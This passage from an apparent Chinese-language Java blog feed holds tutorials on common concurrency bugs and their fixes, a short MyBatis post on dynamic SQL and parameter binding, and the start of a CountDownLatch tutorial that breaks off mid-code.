        <content type="html"><![CDATA[<h1 id="Java并发编程的常见问题总结"><a href="#Java并发编程的常见问题总结" class="headerlink" title="Java并发编程的常见问题总结"></a>Java并发编程的常见问题总结</h1><p>并发编程是 Java 开发中最容易出问题的领域。本文总结常见并发问题及其解决方案。</p><h2 id="1-线程安全问题"><a href="#1-线程安全问题" class="headerlink" title="1. 线程安全问题"></a>1. 线程安全问题</h2><h3 id="竞态条件（Race-Condition）"><a href="#竞态条件（Race-Condition）" class="headerlink" title="竞态条件（Race Condition）"></a>竞态条件（Race Condition）</h3><p>多个线程同时读写共享数据，结果取决于执行时序。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 线程不安全</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;  <span class="comment">// 非原子操作</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 方案1：synchronized</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">synchronized</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123; count++; &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方案2：Atomic</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123; count.incrementAndGet(); &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方案3：LongAdder（高并发）</span></span><br><span class="line"><span class="keyword">private</span> <span class="type">LongAdder</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">LongAdder</span>();</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123; count.increment(); &#125;</span><br></pre></td></tr></table></figure><h3 id="可见性问题"><a href="#可见性问题" class="headerlink" title="可见性问题"></a>可见性问题</h3><p>一个线程修改了变量，其他线程看不到最新值。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VisibilityIssue</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> <span class="variable">flag</span> <span class="operator">=</span> <span class="literal">false</span>;  <span class="comment">// 无volatile</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">writer</span><span class="params">()</span> &#123;</span><br><span class="line">        flag = <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">reader</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">while</span> (!flag) &#123;  <span class="comment">// 可能永远循环！</span></span><br><span class="line">            <span class="comment">// ...</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">boolean</span> <span class="variable">flag</span> <span class="operator">=</span> <span class="literal">false</span>;  <span class="comment">// 保证可见性</span></span><br></pre></td></tr></table></figure><h2 id="2-死锁（Deadlock）"><a href="#2-死锁（Deadlock）" class="headerlink" title="2. 死锁（Deadlock）"></a>2. 死锁（Deadlock）</h2><h3 id="互相等待"><a href="#互相等待" class="headerlink" title="互相等待"></a>互相等待</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Deadlock</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Object</span> <span class="variable">lock1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Object</span> <span class="variable">lock2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Object</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodA</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">synchronized</span> (lock1) &#123;</span><br><span class="line">            <span class="keyword">synchronized</span> (lock2) &#123;  <span class="comment">// 等待methodB释放lock2</span></span><br><span class="line">                <span class="comment">// ...</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodB</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">synchronized</span> (lock2) &#123;</span><br><span class="line">            <span class="keyword">synchronized</span> (lock1) &#123;  <span class="comment">// 等待methodA释放lock1</span></span><br><span class="line">                <span class="comment">// ...</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="死锁的四个必要条件"><a href="#死锁的四个必要条件" class="headerlink" title="死锁的四个必要条件"></a>死锁的四个必要条件</h3><ol><li><strong>互斥</strong>：资源一次只能被一个线程持有</li><li><strong>占有且等待</strong>：持有资源的同时等待其他资源</li><li><strong>不可抢占</strong>：资源只能主动释放</li><li><strong>循环等待</strong>：形成等待环路</li></ol><h3 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 方案1：统一加锁顺序</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">methodA</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">Object</span> <span class="variable">first</span> <span class="operator">=</span> lock1.hashCode() &lt; lock2.hashCode() ? lock1 : lock2;</span><br><span class="line">    <span class="type">Object</span> <span class="variable">second</span> <span class="operator">=</span> lock1.hashCode() &lt; lock2.hashCode() ? lock2 : lock1;</span><br><span class="line">    <span class="keyword">synchronized</span> (first) &#123;</span><br><span class="line">        <span class="keyword">synchronized</span> (second) &#123;</span><br><span class="line">            <span class="comment">// ...</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方案2：使用tryLock（带超时）</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">safeMethod</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">boolean</span> <span class="variable">lock1Acquired</span> <span class="operator">=</span> lock1.tryLock(<span class="number">1</span>, TimeUnit.SECONDS);</span><br><span class="line">    <span class="keyword">if</span> (lock1Acquired) &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">boolean</span> <span class="variable">lock2Acquired</span> <span class="operator">=</span> lock2.tryLock(<span class="number">1</span>, TimeUnit.SECONDS);</span><br><span class="line">            <span class="keyword">if</span> (lock2Acquired) &#123;</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    <span class="comment">// ...</span></span><br><span class="line">                &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                    lock2.unlock();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            lock1.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方案3：使用并发工具类替代锁</span></span><br><span class="line">ConcurrentHashMap&lt;String, Object&gt; map = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;();</span><br></pre></td></tr></table></figure><h3 id="死锁排查"><a href="#死锁排查" class="headerlink" title="死锁排查"></a>死锁排查</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 1. 找到Java进程</span></span><br><span class="line">jps -l</span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 打印线程堆栈</span></span><br><span class="line">jstack -l &lt;pid&gt; &gt; thread_dump.txt</span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 查找死锁</span></span><br><span class="line">jstack -l &lt;pid&gt; | grep -A 50 <span class="string">&quot;Found one Java-level deadlock&quot;</span></span><br></pre></td></tr></table></figure><h2 id="3-活锁（Livelock）"><a href="#3-活锁（Livelock）" class="headerlink" title="3. 活锁（Livelock）"></a>3. 活锁（Livelock）</h2><p>线程不断响应对方的行为，但无法继续执行。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Livelock</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> <span class="variable">active</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">cooperate</span><span class="params">(Livelock other)</span> &#123;</span><br><span class="line">        <span class="keyword">while</span> (!active) &#123;</span><br><span class="line">            <span class="keyword">if</span> (other.isActive()) &#123;</span><br><span class="line">                <span class="comment">// 让对方先执行</span></span><br><span class="line">                doSomething();</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                active = <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：引入随机等待。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Thread.sleep((<span class="type">long</span>)(Math.random() * <span class="number">100</span>));</span><br></pre></td></tr></table></figure><h2 id="4-饥饿（Starvation）"><a href="#4-饥饿（Starvation）" class="headerlink" title="4. 饥饿（Starvation）"></a>4. 饥饿（Starvation）</h2><p>某些线程长期得不到执行机会。</p><p><strong>原因</strong>：</p><ul><li>高优先级线程抢占所有 CPU</li><li>非公平锁导致某些线程总是失败</li></ul><p><strong>解决方案</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用公平锁</span></span><br><span class="line"><span class="type">ReentrantLock</span> <span class="variable">fairLock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReentrantLock</span>(<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用公平信号量</span></span><br><span class="line"><span class="type">Semaphore</span> <span class="variable">fairSemaphore</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Semaphore</span>(<span class="number">10</span>, <span class="literal">true</span>);</span><br></pre></td></tr></table></figure><h2 id="5-伪共享（False-Sharing）"><a href="#5-伪共享（False-Sharing）" class="headerlink" title="5. 伪共享（False Sharing）"></a>5. 伪共享（False Sharing）</h2><p>多个线程修改不同变量，但这些变量在同一缓存行。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FalseSharing</span> &#123;</span><br><span class="line">    <span class="comment">// 同一缓存行（64字节）</span></span><br><span class="line">    <span class="keyword">volatile</span> <span class="type">long</span> value1;</span><br><span class="line">    <span class="keyword">volatile</span> <span class="type">long</span> value2;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 线程A频繁修改value1</span></span><br><span class="line"><span class="comment">// 线程B频繁修改value2</span></span><br><span class="line"><span class="comment">// 结果：缓存行频繁失效，性能下降</span></span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// JDK 8+ 使用@Contended</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PaddedValue</span> &#123;</span><br><span class="line">    <span class="meta">@sun</span>.misc.Contended</span><br><span class="line">    <span class="keyword">volatile</span> <span class="type">long</span> value1;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@sun</span>.misc.Contended</span><br><span class="line">    <span class="keyword">volatile</span> <span class="type">long</span> value2;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或手动填充</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ManualPadding</span> &#123;</span><br><span class="line">    <span class="type">long</span> p1, p2, p3, p4, p5, p6, p7;  <span class="comment">// 填充</span></span><br><span class="line">    <span class="keyword">volatile</span> <span class="type">long</span> value;</span><br><span class="line">    <span class="type">long</span> p8, p9, p10, p11, p12, p13, p14;  <span class="comment">// 填充</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="6-ThreadLocal-内存泄漏"><a href="#6-ThreadLocal-内存泄漏" class="headerlink" title="6. ThreadLocal 内存泄漏"></a>6. ThreadLocal 内存泄漏</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MemoryLeak</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> ThreadLocal&lt;<span class="type">byte</span>[]&gt; buffer = <span class="keyword">new</span> <span class="title class_">ThreadLocal</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">()</span> &#123;</span><br><span class="line">        buffer.set(<span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span> * <span class="number">1024</span> * <span class="number">100</span>]);  <span class="comment">// 100MB</span></span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">        <span class="comment">// 忘记remove()！</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    buffer.set(value);</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">    buffer.remove();  <span class="comment">// 必须清理</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="7-并发修改异常"><a href="#7-并发修改异常" class="headerlink" title="7. 并发修改异常"></a>7. 并发修改异常</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; list = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">list.add(<span class="string">&quot;a&quot;</span>);</span><br><span class="line">list.add(<span class="string">&quot;b&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (String s : list) &#123;</span><br><span class="line">    <span class="keyword">if</span> (s.equals(<span class="string">&quot;a&quot;</span>)) &#123;</span><br><span class="line">        list.remove(s);  <span class="comment">// ConcurrentModificationException！</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 方案1：使用Iterator</span></span><br><span class="line">Iterator&lt;String&gt; it = list.iterator();</span><br><span class="line"><span class="keyword">while</span> (it.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (it.next().equals(<span class="string">&quot;a&quot;</span>)) &#123;</span><br><span class="line">        it.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方案2：使用removeIf（Java 8+）</span></span><br><span class="line">list.removeIf(s -&gt; s.equals(<span class="string">&quot;a&quot;</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方案3：使用并发集合</span></span><br><span class="line">CopyOnWriteArrayList&lt;String&gt; safeList = <span class="keyword">new</span> <span class="title class_">CopyOnWriteArrayList</span>&lt;&gt;();</span><br></pre></td></tr></table></figure><h2 id="8-线程池滥用"><a href="#8-线程池滥用" class="headerlink" title="8. 线程池滥用"></a>8. 线程池滥用</h2><h3 id="问题1：无限创建线程"><a href="#问题1：无限创建线程" class="headerlink" title="问题1：无限创建线程"></a>问题1：无限创建线程</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！每次调用都创建新线程池</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">ExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newFixedThreadPool(<span class="number">10</span>);</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="问题2：使用Executors创建无界队列"><a href="#问题2：使用Executors创建无界队列" class="headerlink" title="问题2：使用Executors创建无界队列"></a>问题2：使用Executors创建无界队列</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 危险！无界队列会OOM</span></span><br><span class="line"><span class="type">ExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newFixedThreadPool(<span class="number">100</span>);</span><br></pre></td></tr></table></figure><h3 id="问题3：不关闭线程池"><a href="#问题3：不关闭线程池" class="headerlink" title="问题3：不关闭线程池"></a>问题3：不关闭线程池</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！线程不回收</span></span><br><span class="line"><span class="type">ExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newFixedThreadPool(<span class="number">10</span>);</span><br><span class="line">executor.submit(() -&gt; &#123; ... &#125;);</span><br><span class="line"><span class="comment">// 没有shutdown()</span></span><br></pre></td></tr></table></figure><p><strong>正确做法</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 使用单例线程池</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">ThreadPoolExecutor</span> <span class="variable">EXECUTOR</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>(</span><br><span class="line">    <span class="number">4</span>, <span class="number">8</span>, <span class="number">60</span>, TimeUnit.SECONDS,</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">ArrayBlockingQueue</span>&lt;&gt;(<span class="number">100</span>),</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">ThreadFactoryBuilder</span>().setNameFormat(<span class="string">&quot;pool-%d&quot;</span>).build(),</span><br><span class="line">    <span class="keyword">new</span> <span class="title class_">ThreadPoolExecutor</span>.CallerRunsPolicy()</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 应用关闭时</span></span><br><span class="line">Runtime.getRuntime().addShutdownHook(<span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">    EXECUTOR.shutdown();</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (!EXECUTOR.awaitTermination(<span class="number">60</span>, TimeUnit.SECONDS)) &#123;</span><br><span class="line">            EXECUTOR.shutdownNow();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">        EXECUTOR.shutdownNow();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;));</span><br></pre></td></tr></table></figure><h2 id="9-并发集合的复合操作"><a href="#9-并发集合的复合操作" class="headerlink" title="9. 并发集合的复合操作"></a>9. 并发集合的复合操作</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">ConcurrentHashMap&lt;String, String&gt; map = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 错误！不是原子操作</span></span><br><span class="line"><span class="keyword">if</span> (!map.containsKey(<span class="string">&quot;key&quot;</span>)) &#123;</span><br><span class="line">    map.put(<span class="string">&quot;key&quot;</span>, <span class="string">&quot;value&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确</span></span><br><span class="line">map.putIfAbsent(<span class="string">&quot;key&quot;</span>, <span class="string">&quot;value&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或</span></span><br><span class="line">map.computeIfAbsent(<span class="string">&quot;key&quot;</span>, k -&gt; createValue());</span><br></pre></td></tr></table></figure><h2 id="10-总结检查清单"><a href="#10-总结检查清单" class="headerlink" title="10. 总结检查清单"></a>10. 总结检查清单</h2><ul><li><input disabled="" type="checkbox"> 共享变量是否加了 volatile/synchronized/Atomic？</li><li><input disabled="" type="checkbox"> 是否存在锁嵌套？是否有死锁风险？</li><li><input disabled="" type="checkbox"> ThreadLocal 使用完是否 remove()？</li><li><input disabled="" type="checkbox"> 线程池是否有界？是否正确关闭？</li><li><input disabled="" type="checkbox"> 集合遍历是否使用了并发修改安全的方式？</li><li><input disabled="" type="checkbox"> 复合操作是否使用了原子方法？</li><li><input disabled="" type="checkbox"> 是否测试过多线程场景？</li></ul><p>并发问题往往难以复现和调试，预防胜于治疗。遵循最佳实践，使用成熟的并发工具类，是避免并发 Bug 的根本之道。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MyBatis 一级缓存和二级缓存怎么理解</title>
      <link href="//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/"/>
      <url>//mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="MyBatis-一级缓存和二级缓存怎么理解"><a href="#MyBatis-一级缓存和二级缓存怎么理解" class="headerlink" title="MyBatis 一级缓存和二级缓存怎么理解"></a>MyBatis 一级缓存和二级缓存怎么理解</h1><p>MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。</p><h2 id="一个-Mapper-示例"><a href="#一个-Mapper-示例" class="headerlink" title="一个 Mapper 示例"></a>一个 Mapper 示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">UserMapper</span> &#123;</span><br><span class="line">    User <span class="title function_">selectById</span><span class="params">(<span class="meta">@Param(&quot;id&quot;)</span> Long id)</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>对应 XML：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;selectById&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email</span><br><span class="line">  from user</span><br><span class="line">  where id = #&#123;id&#125;</span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p>注意这里用的是 <code>#{id}</code>，它会走预编译参数。不要把用户输入直接用 <code>${id}</code> 拼进 SQL。</p><h2 id="动态-SQL-的写法"><a href="#动态-SQL-的写法" class="headerlink" title="动态 SQL 的写法"></a>动态 SQL 的写法</h2><p>查询条件可选时，可以用 <code>if</code>：</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">select</span> <span class="attr">id</span>=<span class="string">&quot;list&quot;</span> <span class="attr">resultType</span>=<span class="string">&quot;com.example.User&quot;</span>&gt;</span></span><br><span class="line">  select id, username, email from user</span><br><span class="line">  <span class="tag">&lt;<span class="name">where</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">if</span> <span class="attr">test</span>=<span class="string">&quot;username != null and username != &#x27;&#x27;&quot;</span>&gt;</span></span><br><span class="line">      and username = #&#123;username&#125;</span><br><span class="line">    <span class="tag">&lt;/<span class="name">if</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">where</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">select</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>where</code> 标签会自动处理多余的 and，避免拼接错误。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>动态 SQL 的常用标签：if、where、choose、foreach</p></li><li><p>一级缓存和二级缓存的区别及使用场景</p></li><li><p>参数处理：#{} 和 ${} 的区别，防止 SQL 注入</p></li><li><p>批量操作的优化：使用 foreach 或 ExecutorType.BATCH</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。</p>]]></content>
      
      
      <categories>
          
          <category> MyBatis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> MyBatis </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>并发工具类CountDownLatch与CyclicBarrier</title>
      <link href="//bing-fa-gong-ju-lei-countdownlatch-yu-cyclicbarrier/"/>
      <url>//bing-fa-gong-ju-lei-countdownlatch-yu-cyclicbarrier/</url>
      
        <content type="html"><![CDATA[<h1 id="并发工具类CountDownLatch与CyclicBarrier"><a href="#并发工具类CountDownLatch与CyclicBarrier" class="headerlink" title="并发工具类CountDownLatch与CyclicBarrier"></a>并发工具类CountDownLatch与CyclicBarrier</h1><p>Java 并发包提供了多种同步工具类，用于协调多个线程的执行。本文重点讲解 CountDownLatch、CyclicBarrier 和 Semaphore。</p><h2 id="CountDownLatch：倒计时门闩"><a href="#CountDownLatch：倒计时门闩" class="headerlink" title="CountDownLatch：倒计时门闩"></a>CountDownLatch：倒计时门闩</h2><h3 id="核心思想"><a href="#核心思想" class="headerlink" title="核心思想"></a>核心思想</h3><p>一个或多个线程等待其他线程完成一组操作。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CountDownLatchExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">workerCount</span> <span class="operator">=</span> <span class="number">3</span>;</span><br><span class="line">        <span class="type">CountDownLatch</span> <span class="variable">latch</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CountDownLatch</span>(workerCount);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; workerCount; i++) &#123;</span><br><span class="line">            <span class="keyword">final</span> <span class="type">int</span> <span class="variable">id</span> <span class="operator">=</span> i;</span><br><span class="line">            <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123;</span><br><span class="line">                System.out.println(<span class="string">&quot;Worker &quot;</span> + id + <span class="string">&quot; 开始工作&quot;</span>);</span><br><span class="line">                <span class="keyword">try</span> &#123;</span><br><span class="line">                    Thread.sleep((id + <span class="number">1</span>) * <span class="number">1000</span>);</span><br><span class="line">                &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;&#125;</span><br><span class="line">                System.out.println(<span class="string">&quot;Worker &quot;</span> + id + <span class="string">&quot; 完成工作&quot;</span>);</span><br><span class="line">                latch.countDown();  <span class="comment">// 计数减1</span></span><br><span class="line">            &#125;).start();</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        System.out.println(<span class="string">&quot;等待所有工作线程完成...&quot;</span>);</span><br><span class="line">        latch.await();  <span class="comment">// 阻塞，直到计数为0</span></span><br><span class="line">        System.out.println(<span class="string">&quot;所有工作线程已完成！&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="典型应用场景"><a href="#典型应用场景" class="headerlink" title="典型应用场景"></a>典型应用场景</h3><h4 id="1-主线程等待子线程完成"><a href="#1-主线程等待子线程完成" class="headerlink" title="1. 主线程等待子线程完成"></a>1. 主线程等待子线程完成</h4><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DataLoader</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">load</span><span class="params">()</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        <span class="type">CountDownLatch</span> <span class="variable">latch</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">CountDownLatch</span>(<span class="number">3</span>);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 并行加载三类数据</span></span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123; loadUser(); latch.countDown(); &#125;).start();</span><br><span class="line">        <span class="keyword">new</span> <span class="title class_">Thread</span>(() -&gt; &#123; loadOrder(); latch.countDown(); &#125;).start();</span><br><span class="line">        <span class="keyword">new</span> 